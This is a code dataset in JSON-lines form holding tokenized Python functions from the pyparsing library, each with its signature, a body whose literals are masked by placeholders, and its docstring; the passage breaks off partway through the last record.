{"signature": "def oneOf( strs, caseless=False, useRegex=True ):", "body": "if caseless:<EOL><INDENT>isequal = ( lambda a,b: a.upper() == b.upper() )<EOL>masks = ( lambda a,b: b.upper().startswith(a.upper()) )<EOL>parseElementClass = CaselessLiteral<EOL><DEDENT>else:<EOL><INDENT>isequal = ( lambda a,b: a == b )<EOL>masks = ( lambda a,b: b.startswith(a) )<EOL>parseElementClass = Literal<EOL><DEDENT>if isinstance(strs,(list,tuple)):<EOL><INDENT>symbols = strs[:]<EOL><DEDENT>elif isinstance(strs,str):<EOL><INDENT>symbols = strs.split()<EOL><DEDENT>else:<EOL><INDENT>warnings.warn(\"<STR_LIT>\",<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL><DEDENT>i = <NUM_LIT:0><EOL>while i < len(symbols)-<NUM_LIT:1>:<EOL><INDENT>cur = symbols[i]<EOL>for j,other in enumerate(symbols[i+<NUM_LIT:1>:]):<EOL><INDENT>if ( isequal(other, cur) ):<EOL><INDENT>del symbols[i+j+<NUM_LIT:1>]<EOL>break<EOL><DEDENT>elif ( masks(cur, other) ):<EOL><INDENT>del symbols[i+j+<NUM_LIT:1>]<EOL>symbols.insert(i,other)<EOL>cur = other<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT><DEDENT>if not caseless and useRegex:<EOL><INDENT>try:<EOL><INDENT>if len(symbols)==len(\"<STR_LIT>\".join(symbols)):<EOL><INDENT>return Regex( \"<STR_LIT>\" % \"<STR_LIT>\".join( [ _escapeRegexRangeChars(sym) for sym in symbols] ) )<EOL><DEDENT>else:<EOL><INDENT>return Regex( \"<STR_LIT:|>\".join( [ re.escape(sym) for sym in symbols] ) )<EOL><DEDENT><DEDENT>except:<EOL><INDENT>warnings.warn(\"<STR_LIT>\",<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL><DEDENT><DEDENT>return MatchFirst( [ parseElementClass(sym) for sym in symbols ] )<EOL>", "docstring": "Helper to quickly define a set of alternative Literals, and makes sure to do\n       longest-first testing when there is a conflict, regardless of the input order,\n       but returns a MatchFirst for best performance.\n\n       Parameters:\n        - strs - a string of space-delimited literals, or a list of string literals\n        - caseless - (default=False) - treat all literals as caseless\n        - useRegex - (default=True) - as an optimization, will generate a Regex\n          object; otherwise, will generate a MatchFirst object (if caseless=True, or\n          if creating a Regex raises an exception)", "id": "f17196:m15"}
{"signature": "def dictOf( key, value ):", "body": "return Dict( ZeroOrMore( Group ( key + value ) ) )<EOL>", "docstring": "Helper to easily and clearly define a dictionary by specifying the respective patterns\n       for the key and value.  Takes care of defining the Dict, ZeroOrMore, and Group tokens\n       in the proper order.  The key pattern can include delimiting markers or punctuation,\n       as long as they are suppressed, thereby leaving the significant key text.  The value\n       pattern can include named results, so that the Dict results can include named token\n       fields.", "id": "f17196:m16"}
{"signature": "def srange(s):", "body": "try:<EOL><INDENT>return \"<STR_LIT>\".join([_expanded(part) for part in _reBracketExpr.parseString(s).body])<EOL><DEDENT>except:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>", "docstring": "r\"\"\"Helper to easily define string ranges for use in Word construction.  Borrows\n       syntax from regexp '[]' string range definitions::\n          srange(\"[0-9]\")   -> \"0123456789\"\n          srange(\"[a-z]\")   -> \"abcdefghijklmnopqrstuvwxyz\"\n          srange(\"[a-z$_]\") -> \"abcdefghijklmnopqrstuvwxyz$_\"\n       The input string must be enclosed in []'s, and the returned string is the expanded\n       character set joined into a single string.\n       The values enclosed in the []'s may be::\n          a single character\n          an escaped character with a leading backslash (such as \\- or \\])\n          an escaped hex character with a leading '\\0x' (\\0x21, which is a '!' character)\n          an escaped octal character with a leading '\\0' (\\041, which is a '!' character)\n          a range of any of the above, separated by a dash ('a-z', etc.)\n          any combination of the above ('aeiouy', 'a-zA-Z0-9_$', etc.)", "id": "f17196:m17"}
{"signature": "def matchOnlyAtCol(n):", "body": "def verifyCol(strg,locn,toks):<EOL><INDENT>if col(locn,strg) != n:<EOL><INDENT>raise ParseException(strg,locn,\"<STR_LIT>\" % n)<EOL><DEDENT><DEDENT>return verifyCol<EOL>", "docstring": "Helper method for defining parse actions that require matching at a specific\n       column in the input text.", "id": "f17196:m18"}
{"signature": "def replaceWith(replStr):", "body": "def _replFunc(*args):<EOL><INDENT>return [replStr]<EOL><DEDENT>return _replFunc<EOL>", "docstring": "Helper method for common parse actions that simply return a literal value.  Especially\n       useful when used with transformString().", "id": "f17196:m19"}
{"signature": "def removeQuotes(s,l,t):", "body": "return t[<NUM_LIT:0>][<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>", "docstring": "Helper parse action for removing quotation marks from parsed quoted strings.\n       To use, add this parse action to quoted string using::\n         quotedString.setParseAction( removeQuotes )", "id": "f17196:m20"}
{"signature": "def upcaseTokens(s,l,t):", "body": "return [ tt.upper() for tt in map(_ustr,t) ]<EOL>", "docstring": "Helper parse action to convert tokens to upper case.", "id": "f17196:m21"}
{"signature": "def downcaseTokens(s,l,t):", "body": "return [ tt.lower() for tt in map(_ustr,t) ]<EOL>", "docstring": "Helper parse action to convert tokens to lower case.", "id": "f17196:m22"}
{"signature": "def keepOriginalText(s,startLoc,t):", "body": "try:<EOL><INDENT>endloc = getTokensEndLoc()<EOL><DEDENT>except ParseException:<EOL><INDENT>raise ParseFatalException(\"<STR_LIT>\")<EOL><DEDENT>del t[:]<EOL>t += ParseResults(s[startLoc:endloc])<EOL>return t<EOL>", "docstring": "Helper parse action to preserve original parsed text,\n       overriding any nested parse actions.", "id": "f17196:m23"}
{"signature": "def getTokensEndLoc():", "body": "import inspect<EOL>fstack = inspect.stack()<EOL>try:<EOL><INDENT>for f in fstack[<NUM_LIT:2>:]:<EOL><INDENT>if f[<NUM_LIT:3>] == \"<STR_LIT>\":<EOL><INDENT>endloc = f[<NUM_LIT:0>].f_locals[\"<STR_LIT>\"]<EOL>return endloc<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ParseFatalException(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>del fstack<EOL><DEDENT>", "docstring": "Method to be called from within a parse action to determine the end\n       location of the parsed tokens.", "id": "f17196:m24"}
{"signature": "def _makeTags(tagStr, xml):", "body": "if isinstance(tagStr,str):<EOL><INDENT>resname = tagStr<EOL>tagStr = Keyword(tagStr, caseless=not xml)<EOL><DEDENT>else:<EOL><INDENT>resname = tagStr.name<EOL><DEDENT>tagAttrName = Word(alphas,alphanums+\"<STR_LIT>\")<EOL>if (xml):<EOL><INDENT>tagAttrValue = dblQuotedString.copy().setParseAction( removeQuotes )<EOL>openTag = Suppress(\"<STR_LIT:<>\") + tagStr +Dict(ZeroOrMore(Group( tagAttrName + Suppress(\"<STR_LIT:=>\") + tagAttrValue ))) +Optional(\"<STR_LIT:/>\",default=[False]).setResultsName(\"<STR_LIT>\").setParseAction(lambda s,l,t:t[<NUM_LIT:0>]=='<STR_LIT:/>') + Suppress(\"<STR_LIT:>>\")<EOL><DEDENT>else:<EOL><INDENT>printablesLessRAbrack = \"<STR_LIT>\".join( [ c for c in printables if c not in \"<STR_LIT:>>\" ] )<EOL>tagAttrValue = quotedString.copy().setParseAction( removeQuotes ) | Word(printablesLessRAbrack)<EOL>openTag = Suppress(\"<STR_LIT:<>\") + tagStr +Dict(ZeroOrMore(Group( tagAttrName.setParseAction(downcaseTokens) +Optional( Suppress(\"<STR_LIT:=>\") + tagAttrValue ) ))) +Optional(\"<STR_LIT:/>\",default=[False]).setResultsName(\"<STR_LIT>\").setParseAction(lambda s,l,t:t[<NUM_LIT:0>]=='<STR_LIT:/>') + Suppress(\"<STR_LIT:>>\")<EOL><DEDENT>closeTag = Combine(_L(\"<STR_LIT>\") + tagStr + \"<STR_LIT:>>\")<EOL>openTag = openTag.setResultsName(\"<STR_LIT:start>\"+\"<STR_LIT>\".join(resname.replace(\"<STR_LIT::>\",\"<STR_LIT:U+0020>\").title().split())).setName(\"<STR_LIT>\" % tagStr)<EOL>closeTag = closeTag.setResultsName(\"<STR_LIT:end>\"+\"<STR_LIT>\".join(resname.replace(\"<STR_LIT::>\",\"<STR_LIT:U+0020>\").title().split())).setName(\"<STR_LIT>\" % tagStr)<EOL>return openTag, closeTag<EOL>", "docstring": "Internal helper to construct opening and closing tag expressions, given a tag name", "id": "f17196:m25"}
{"signature": "def makeHTMLTags(tagStr):", "body": "return _makeTags( tagStr, False )<EOL>", "docstring": "Helper to construct opening and closing tag expressions for HTML, given a tag name", "id": "f17196:m26"}
{"signature": "def makeXMLTags(tagStr):", "body": "return _makeTags( tagStr, True )<EOL>", "docstring": "Helper to construct opening and closing tag expressions for XML, given a tag name", "id": "f17196:m27"}
{"signature": "def withAttribute(*args,**attrDict):", "body": "if args:<EOL><INDENT>attrs = args[:]<EOL><DEDENT>else:<EOL><INDENT>attrs = list(attrDict.items())<EOL><DEDENT>attrs = [(k,v) for k,v in attrs]<EOL>def pa(s,l,tokens):<EOL><INDENT>for attrName,attrValue in attrs:<EOL><INDENT>if attrName not in tokens:<EOL><INDENT>raise ParseException(s,l,\"<STR_LIT>\" + attrName)<EOL><DEDENT>if attrValue != withAttribute.ANY_VALUE and tokens[attrName] != attrValue:<EOL><INDENT>raise ParseException(s,l,\"<STR_LIT>\" %<EOL>(attrName, tokens[attrName], attrValue))<EOL><DEDENT><DEDENT><DEDENT>return pa<EOL>", "docstring": "Helper to create a validating parse action to be used with start tags created\n       with makeXMLTags or makeHTMLTags. Use withAttribute to qualify a starting tag\n       with a required attribute value, to avoid false matches on common tags such as\n       <TD> or <DIV>.\n\n       Call withAttribute with a series of attribute names and values. Specify the list\n       of filter attributes names and values as:\n        - keyword arguments, as in (class=\"Customer\",align=\"right\"), or\n        - a list of name-value tuples, as in ( (\"ns1:class\", \"Customer\"), (\"ns2:align\",\"right\") )\n       For attribute names with a namespace prefix, you must use the second form.  Attribute\n       names are matched insensitive to upper/lower case.\n\n       To verify that the attribute exists, but without specifying a value, pass\n       withAttribute.ANY_VALUE as the value.", "id": "f17196:m28"}
{"signature": "def operatorPrecedence( baseExpr, opList ):", "body": "ret = Forward()<EOL>lastExpr = baseExpr | ( Suppress('<STR_LIT:(>') + ret + Suppress('<STR_LIT:)>') )<EOL>for i,operDef in enumerate(opList):<EOL><INDENT>opExpr,arity,rightLeftAssoc,pa = (operDef + (None,))[:<NUM_LIT:4>]<EOL>if arity == <NUM_LIT:3>:<EOL><INDENT>if opExpr is None or len(opExpr) != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>opExpr1, opExpr2 = opExpr<EOL><DEDENT>thisExpr = Forward()<EOL>if rightLeftAssoc == opAssoc.LEFT:<EOL><INDENT>if arity == <NUM_LIT:1>:<EOL><INDENT>matchExpr = FollowedBy(lastExpr + opExpr) + Group( lastExpr + OneOrMore( opExpr ) )<EOL><DEDENT>elif arity == <NUM_LIT:2>:<EOL><INDENT>if opExpr is not None:<EOL><INDENT>matchExpr = FollowedBy(lastExpr + opExpr + lastExpr) + Group( lastExpr + OneOrMore( opExpr + lastExpr ) )<EOL><DEDENT>else:<EOL><INDENT>matchExpr = FollowedBy(lastExpr+lastExpr) + Group( lastExpr + OneOrMore(lastExpr) )<EOL><DEDENT><DEDENT>elif arity == <NUM_LIT:3>:<EOL><INDENT>matchExpr = FollowedBy(lastExpr + opExpr1 + lastExpr + opExpr2 + lastExpr) +Group( lastExpr + opExpr1 + lastExpr + opExpr2 + lastExpr )<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif rightLeftAssoc == opAssoc.RIGHT:<EOL><INDENT>if arity == <NUM_LIT:1>:<EOL><INDENT>if not isinstance(opExpr, Optional):<EOL><INDENT>opExpr = Optional(opExpr)<EOL><DEDENT>matchExpr = FollowedBy(opExpr.expr + thisExpr) + Group( opExpr + thisExpr )<EOL><DEDENT>elif arity == <NUM_LIT:2>:<EOL><INDENT>if opExpr is not None:<EOL><INDENT>matchExpr = FollowedBy(lastExpr + opExpr + thisExpr) + Group( lastExpr + OneOrMore( opExpr + thisExpr ) )<EOL><DEDENT>else:<EOL><INDENT>matchExpr = FollowedBy(lastExpr + thisExpr) + Group( lastExpr + OneOrMore( thisExpr ) )<EOL><DEDENT><DEDENT>elif arity == <NUM_LIT:3>:<EOL><INDENT>matchExpr = FollowedBy(lastExpr + opExpr1 + thisExpr + opExpr2 + thisExpr) +Group( lastExpr + opExpr1 + thisExpr + opExpr2 + thisExpr )<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if pa:<EOL><INDENT>matchExpr.setParseAction( pa )<EOL><DEDENT>thisExpr << ( matchExpr | lastExpr )<EOL>lastExpr = thisExpr<EOL><DEDENT>ret << lastExpr<EOL>return ret<EOL>", "docstring": "Helper method for constructing grammars of expressions made up of\n       operators working in a precedence hierarchy.  Operators may be unary or\n       binary, left- or right-associative.  Parse actions can also be attached\n       to operator expressions.\n\n       Parameters:\n        - baseExpr - expression representing the most basic element for the nested\n        - opList - list of tuples, one for each operator precedence level in the\n          expression grammar; each tuple is of the form\n          (opExpr, numTerms, rightLeftAssoc, parseAction), where:\n           - opExpr is the pyparsing expression for the operator;\n              may also be a string, which will be converted to a Literal;\n              if numTerms is 3, opExpr is a tuple of two expressions, for the\n              two operators separating the 3 terms\n           - numTerms is the number of terms for this operator (must\n              be 1, 2, or 3)\n           - rightLeftAssoc is the indicator whether the operator is\n              right or left associative, using the pyparsing-defined\n              constants opAssoc.RIGHT and opAssoc.LEFT.\n           - parseAction is the parse action to be associated with\n              expressions matching this operator expression (the\n              parse action tuple member may be omitted)", "id": "f17196:m29"}
{"signature": "def nestedExpr(opener=\"<STR_LIT:(>\", closer=\"<STR_LIT:)>\", content=None, ignoreExpr=quotedString):", "body": "if opener == closer:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if content is None:<EOL><INDENT>if isinstance(opener,str) and isinstance(closer,str):<EOL><INDENT>if ignoreExpr is not None:<EOL><INDENT>content = (Combine(OneOrMore(~ignoreExpr +<EOL>CharsNotIn(opener+closer+ParserElement.DEFAULT_WHITE_CHARS,exact=<NUM_LIT:1>))<EOL>).setParseAction(lambda t:t[<NUM_LIT:0>].strip()))<EOL><DEDENT>else:<EOL><INDENT>content = (empty+CharsNotIn(opener+closer+ParserElement.DEFAULT_WHITE_CHARS).setParseAction(lambda t:t[<NUM_LIT:0>].strip()))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>ret = Forward()<EOL>if ignoreExpr is not None:<EOL><INDENT>ret << Group( Suppress(opener) + ZeroOrMore( ignoreExpr | ret | content ) + Suppress(closer) )<EOL><DEDENT>else:<EOL><INDENT>ret << Group( Suppress(opener) + ZeroOrMore( ret | content )  + Suppress(closer) )<EOL><DEDENT>return ret<EOL>", "docstring": "Helper method for defining nested lists enclosed in opening and closing\n       delimiters (\"(\" and \")\" are the default).\n\n       Parameters:\n        - opener - opening character for a nested list (default=\"(\"); can also be a pyparsing expression\n        - closer - closing character for a nested list (default=\")\"); can also be a pyparsing expression\n        - content - expression for items within the nested lists (default=None)\n        - ignoreExpr - expression for ignoring opening and closing delimiters (default=quotedString)\n\n       If an expression is not provided for the content argument, the nested\n       expression will capture all whitespace-delimited content between delimiters\n       as a list of separate values.\n\n       Use the ignoreExpr argument to define expressions that may contain\n       opening or closing characters that should not be treated as opening\n       or closing characters for nesting, such as quotedString or a comment\n       expression.  Specify multiple expressions using an Or or MatchFirst.\n       The default is quotedString, but if no expressions are to be ignored,\n       then pass None for this argument.", "id": "f17196:m30"}
{"signature": "def indentedBlock(blockStatementExpr, indentStack, indent=True):", "body": "def checkPeerIndent(s,l,t):<EOL><INDENT>if l >= len(s): return<EOL>curCol = col(l,s)<EOL>if curCol != indentStack[-<NUM_LIT:1>]:<EOL><INDENT>if curCol > indentStack[-<NUM_LIT:1>]:<EOL><INDENT>raise ParseFatalException(s,l,\"<STR_LIT>\")<EOL><DEDENT>raise ParseException(s,l,\"<STR_LIT>\")<EOL><DEDENT><DEDENT>def checkSubIndent(s,l,t):<EOL><INDENT>curCol = col(l,s)<EOL>if curCol > indentStack[-<NUM_LIT:1>]:<EOL><INDENT>indentStack.append( curCol )<EOL><DEDENT>else:<EOL><INDENT>raise ParseException(s,l,\"<STR_LIT>\")<EOL><DEDENT><DEDENT>def checkUnindent(s,l,t):<EOL><INDENT>if l >= len(s): return<EOL>curCol = col(l,s)<EOL>if not(indentStack and curCol < indentStack[-<NUM_LIT:1>] and curCol <= indentStack[-<NUM_LIT:2>]):<EOL><INDENT>raise ParseException(s,l,\"<STR_LIT>\")<EOL><DEDENT>indentStack.pop()<EOL><DEDENT>NL = OneOrMore(LineEnd().setWhitespaceChars(\"<STR_LIT>\").suppress())<EOL>INDENT = Empty() + Empty().setParseAction(checkSubIndent)<EOL>PEER   = Empty().setParseAction(checkPeerIndent)<EOL>UNDENT = Empty().setParseAction(checkUnindent)<EOL>if indent:<EOL><INDENT>smExpr = Group( Optional(NL) +<EOL>FollowedBy(blockStatementExpr) +<EOL>INDENT + (OneOrMore( PEER + Group(blockStatementExpr) + Optional(NL) )) + UNDENT)<EOL><DEDENT>else:<EOL><INDENT>smExpr = Group( Optional(NL) +<EOL>(OneOrMore( PEER + Group(blockStatementExpr) + Optional(NL) )) )<EOL><DEDENT>blockStatementExpr.ignore(\"<STR_LIT:\\\\>\" + LineEnd())<EOL>return smExpr<EOL>", "docstring": "Helper method for defining space-delimited indentation blocks, such as\n       those used to define block statements in Python source code.\n\n       Parameters:\n        - blockStatementExpr - expression defining syntax of statement that\n            is repeated within the indented block\n        - indentStack - list created by caller to manage indentation stack\n            (multiple statementWithIndentedBlock expressions within a single grammar\n            should share a common indentStack)\n        - indent - boolean indicating whether block must be indented beyond the\n            the current level; set to False for block of left-most statements\n            (default=True)\n\n       A valid block must contain at least one blockStatement.", "id": "f17196:m31"}
{"signature": "def __getattr__( self, aname ):", "body": "if( aname == \"<STR_LIT>\" ):<EOL><INDENT>return lineno( self.loc, self.pstr )<EOL><DEDENT>elif( aname in (\"<STR_LIT>\", \"<STR_LIT>\") ):<EOL><INDENT>return col( self.loc, self.pstr )<EOL><DEDENT>elif( aname == \"<STR_LIT>\" ):<EOL><INDENT>return line( self.loc, self.pstr )<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError(aname)<EOL><DEDENT>", "docstring": "supported attributes by name are:\n            - lineno - returns the line number of the exception text\n            - col - returns the column number of the exception text\n            - line - returns the line containing the exception text", "id": "f17196:c1:m1"}
{"signature": "def markInputline( self, markerString = \"<STR_LIT>\" ):", "body": "line_str = self.line<EOL>line_column = self.column - <NUM_LIT:1><EOL>if markerString:<EOL><INDENT>line_str = \"<STR_LIT>\".join( [line_str[:line_column],<EOL>markerString, line_str[line_column:]])<EOL><DEDENT>return line_str.strip()<EOL>", "docstring": "Extracts the exception line from the input string, and marks\n           the location of the exception with a special symbol.", "id": "f17196:c1:m4"}
{"signature": "def keys( self ):", "body": "return list(self.__tokdict.keys())<EOL>", "docstring": "Returns all named result keys.", "id": "f17196:c7:m10"}
{"signature": "def pop( self, index=-<NUM_LIT:1> ):", "body": "ret = self[index]<EOL>del self[index]<EOL>return ret<EOL>", "docstring": "Removes and returns item at specified index (default=last).\n           Will work with either numeric indices or dict-key indicies.", "id": "f17196:c7:m11"}
{"signature": "def get(self, key, defaultValue=None):", "body": "if key in self:<EOL><INDENT>return self[key]<EOL><DEDENT>else:<EOL><INDENT>return defaultValue<EOL><DEDENT>", "docstring": "Returns named result matching the given key, or if there is no\n           such name, then returns the given defaultValue or None if no\n           defaultValue is specified.", "id": "f17196:c7:m12"}
{"signature": "def items( self ):", "body": "return [(k,self[k]) for k in self.__tokdict]<EOL>", "docstring": "Returns all named result keys and values as a list of tuples.", "id": "f17196:c7:m14"}
{"signature": "def values( self ):", "body": "return [ v[-<NUM_LIT:1>][<NUM_LIT:0>] for v in list(self.__tokdict.values()) ]<EOL>", "docstring": "Returns all named result values.", "id": "f17196:c7:m15"}
{"signature": "def asList( self ):", "body": "out = []<EOL>for res in self.__toklist:<EOL><INDENT>if isinstance(res,ParseResults):<EOL><INDENT>out.append( res.asList() )<EOL><DEDENT>else:<EOL><INDENT>out.append( res )<EOL><DEDENT><DEDENT>return out<EOL>", "docstring": "Returns the parse results as a nested list of matching tokens, all converted to strings.", "id": "f17196:c7:m22"}
{"signature": "def asDict( self ):", "body": "return dict( list(self.items()) )<EOL>", "docstring": "Returns the named parse results as dictionary.", "id": "f17196:c7:m23"}
{"signature": "def copy( self ):", "body": "ret = ParseResults( self.__toklist )<EOL>ret.__tokdict = self.__tokdict.copy()<EOL>ret.__parent = self.__parent<EOL>ret.__accumNames.update( self.__accumNames )<EOL>ret.__name = self.__name<EOL>return ret<EOL>", "docstring": "Returns a new copy of a ParseResults object.", "id": "f17196:c7:m24"}
{"signature": "def asXML( self, doctag=None, namedItemsOnly=False, indent=\"<STR_LIT>\", formatted=True ):", "body": "nl = \"<STR_LIT:\\n>\"<EOL>out = []<EOL>namedItems = dict( [ (v[<NUM_LIT:1>],k) for (k,vlist) in list(self.__tokdict.items())<EOL>for v in vlist ] )<EOL>nextLevelIndent = indent + \"<STR_LIT:U+0020>\"<EOL>if not formatted:<EOL><INDENT>indent = \"<STR_LIT>\"<EOL>nextLevelIndent = \"<STR_LIT>\"<EOL>nl = \"<STR_LIT>\"<EOL><DEDENT>selfTag = None<EOL>if doctag is not None:<EOL><INDENT>selfTag = doctag<EOL><DEDENT>else:<EOL><INDENT>if self.__name:<EOL><INDENT>selfTag = self.__name<EOL><DEDENT><DEDENT>if not selfTag:<EOL><INDENT>if namedItemsOnly:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>selfTag = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>out += [ nl, indent, \"<STR_LIT:<>\", selfTag, \"<STR_LIT:>>\" ]<EOL>worklist = self.__toklist<EOL>for i,res in enumerate(worklist):<EOL><INDENT>if isinstance(res,ParseResults):<EOL><INDENT>if i in namedItems:<EOL><INDENT>out += [ res.asXML(namedItems[i],<EOL>namedItemsOnly and doctag is None,<EOL>nextLevelIndent,<EOL>formatted)]<EOL><DEDENT>else:<EOL><INDENT>out += [ res.asXML(None,<EOL>namedItemsOnly and doctag is None,<EOL>nextLevelIndent,<EOL>formatted)]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>resTag = None<EOL>if i in namedItems:<EOL><INDENT>resTag = namedItems[i]<EOL><DEDENT>if not resTag:<EOL><INDENT>if namedItemsOnly:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>resTag = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>xmlBodyText = xml.sax.saxutils.escape(_ustr(res))<EOL>out += [ nl, nextLevelIndent, \"<STR_LIT:<>\", resTag, \"<STR_LIT:>>\",<EOL>xmlBodyText,<EOL>\"<STR_LIT>\", resTag, \"<STR_LIT:>>\" ]<EOL><DEDENT><DEDENT>out += [ nl, indent, \"<STR_LIT>\", selfTag, \"<STR_LIT:>>\" ]<EOL>return \"<STR_LIT>\".join(out)<EOL>", "docstring": "Returns the parse results as XML. Tags are created for tokens and lists that have defined results names.", "id": "f17196:c7:m25"}
{"signature": "def getName(self):", "body": "if self.__name:<EOL><INDENT>return self.__name<EOL><DEDENT>elif self.__parent:<EOL><INDENT>par = self.__parent()<EOL>if par:<EOL><INDENT>return par.__lookup(self)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>elif (len(self) == <NUM_LIT:1> and<EOL>len(self.__tokdict) == <NUM_LIT:1> and<EOL>list(self.__tokdict.values())[<NUM_LIT:0>][<NUM_LIT:0>][<NUM_LIT:1>] in (<NUM_LIT:0>,-<NUM_LIT:1>)):<EOL><INDENT>return list(self.__tokdict.keys())[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns the results name for this token expression.", "id": "f17196:c7:m27"}
{"signature": "def dump(self,indent='<STR_LIT>',depth=<NUM_LIT:0>):", "body": "out = []<EOL>out.append( indent+_ustr(self.asList()) )<EOL>keys = list(self.items())<EOL>keys.sort()<EOL>for k,v in keys:<EOL><INDENT>if out:<EOL><INDENT>out.append('<STR_LIT:\\n>')<EOL><DEDENT>out.append( \"<STR_LIT>\" % (indent,('<STR_LIT:U+0020>'*depth), k) )<EOL>if isinstance(v,ParseResults):<EOL><INDENT>if list(v.keys()):<EOL><INDENT>out.append( v.dump(indent,depth+<NUM_LIT:1>) )<EOL><DEDENT>else:<EOL><INDENT>out.append(_ustr(v))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>out.append(_ustr(v))<EOL><DEDENT><DEDENT>return \"<STR_LIT>\".join(out)<EOL>", "docstring": "Diagnostic method for listing out the contents of a ParseResults.\n           Accepts an optional indent argument so that this string can be embedded\n           in a nested display of other data.", "id": "f17196:c7:m28"}
{"signature": "def setDefaultWhitespaceChars( chars ):", "body": "ParserElement.DEFAULT_WHITE_CHARS = chars<EOL>", "docstring": "Overrides the default whitespace chars", "id": "f17196:c8:m0"}
{"signature": "def copy( self ):", "body": "cpy = copy.copy( self )<EOL>cpy.parseAction = self.parseAction[:]<EOL>cpy.ignoreExprs = self.ignoreExprs[:]<EOL>if self.copyDefaultWhiteChars:<EOL><INDENT>cpy.whiteChars = ParserElement.DEFAULT_WHITE_CHARS<EOL><DEDENT>return cpy<EOL>", "docstring": "Make a copy of this ParserElement.  Useful for defining different parse actions\n           for the same parsing pattern, using copies of the original parse element.", "id": "f17196:c8:m2"}
{"signature": "def setName( self, name ):", "body": "self.name = name<EOL>self.errmsg = \"<STR_LIT>\" + self.name<EOL>if hasattr(self,\"<STR_LIT>\"):<EOL><INDENT>self.exception.msg = self.errmsg<EOL><DEDENT>return self<EOL>", "docstring": "Define name for this expression, for use in debugging.", "id": "f17196:c8:m3"}
{"signature": "def setResultsName( self, name, listAllMatches=False ):", "body": "newself = self.copy()<EOL>newself.resultsName = name<EOL>newself.modalResults = not listAllMatches<EOL>return newself<EOL>", "docstring": "Define name for referencing matching tokens as a nested attribute\n           of the returned parse results.\n           NOTE: this returns a *copy* of the original ParserElement object;\n           this is so that the client can define a basic element, such as an\n           integer, and reference it in multiple places with different names.", "id": "f17196:c8:m4"}
{"signature": "def setBreak(self,breakFlag = True):", "body": "if breakFlag:<EOL><INDENT>_parseMethod = self._parse<EOL>def breaker(instring, loc, doActions=True, callPreParse=True):<EOL><INDENT>import pdb<EOL>pdb.set_trace()<EOL>_parseMethod( instring, loc, doActions, callPreParse )<EOL><DEDENT>breaker._originalParseMethod = _parseMethod<EOL>self._parse = breaker<EOL><DEDENT>else:<EOL><INDENT>if hasattr(self._parse,\"<STR_LIT>\"):<EOL><INDENT>self._parse = self._parse._originalParseMethod<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Method to invoke the Python pdb debugger when this element is\n           about to be parsed. Set breakFlag to True to enable, False to\n           disable.", "id": "f17196:c8:m5"}
{"signature": "def _normalizeParseActionArgs( f ):", "body": "STAR_ARGS = <NUM_LIT:4><EOL>try:<EOL><INDENT>restore = None<EOL>if isinstance(f,type):<EOL><INDENT>restore = f<EOL>f = f.__init__<EOL><DEDENT>if not _PY3K:<EOL><INDENT>codeObj = f.__code__<EOL><DEDENT>else:<EOL><INDENT>codeObj = f.code<EOL><DEDENT>if codeObj.co_flags & STAR_ARGS:<EOL><INDENT>return f<EOL><DEDENT>numargs = codeObj.co_argcount<EOL>if not _PY3K:<EOL><INDENT>if hasattr(f,\"<STR_LIT>\"):<EOL><INDENT>numargs -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>if hasattr(f,\"<STR_LIT>\"):<EOL><INDENT>numargs -= <NUM_LIT:1><EOL><DEDENT><DEDENT>if restore:<EOL><INDENT>f = restore<EOL><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>try:<EOL><INDENT>if not _PY3K:<EOL><INDENT>call_im_func_code = f.__call__.__func__.__code__<EOL><DEDENT>else:<EOL><INDENT>call_im_func_code = f.__code__<EOL><DEDENT>if call_im_func_code.co_flags & STAR_ARGS:<EOL><INDENT>return f<EOL><DEDENT>numargs = call_im_func_code.co_argcount<EOL>if not _PY3K:<EOL><INDENT>if hasattr(f.__call__,\"<STR_LIT>\"):<EOL><INDENT>numargs -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>if hasattr(f.__call__,\"<STR_LIT>\"):<EOL><INDENT>numargs -= <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>if not _PY3K:<EOL><INDENT>call_func_code = f.__call__.__code__<EOL><DEDENT>else:<EOL><INDENT>call_func_code = f.__call__.__code__<EOL><DEDENT>if call_func_code.co_flags & STAR_ARGS:<EOL><INDENT>return f<EOL><DEDENT>numargs = call_func_code.co_argcount<EOL>if not _PY3K:<EOL><INDENT>if hasattr(f.__call__,\"<STR_LIT>\"):<EOL><INDENT>numargs -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>if hasattr(f.__call__,\"<STR_LIT>\"):<EOL><INDENT>numargs -= <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>if numargs == <NUM_LIT:3>:<EOL><INDENT>return f<EOL><DEDENT>else:<EOL><INDENT>if numargs > 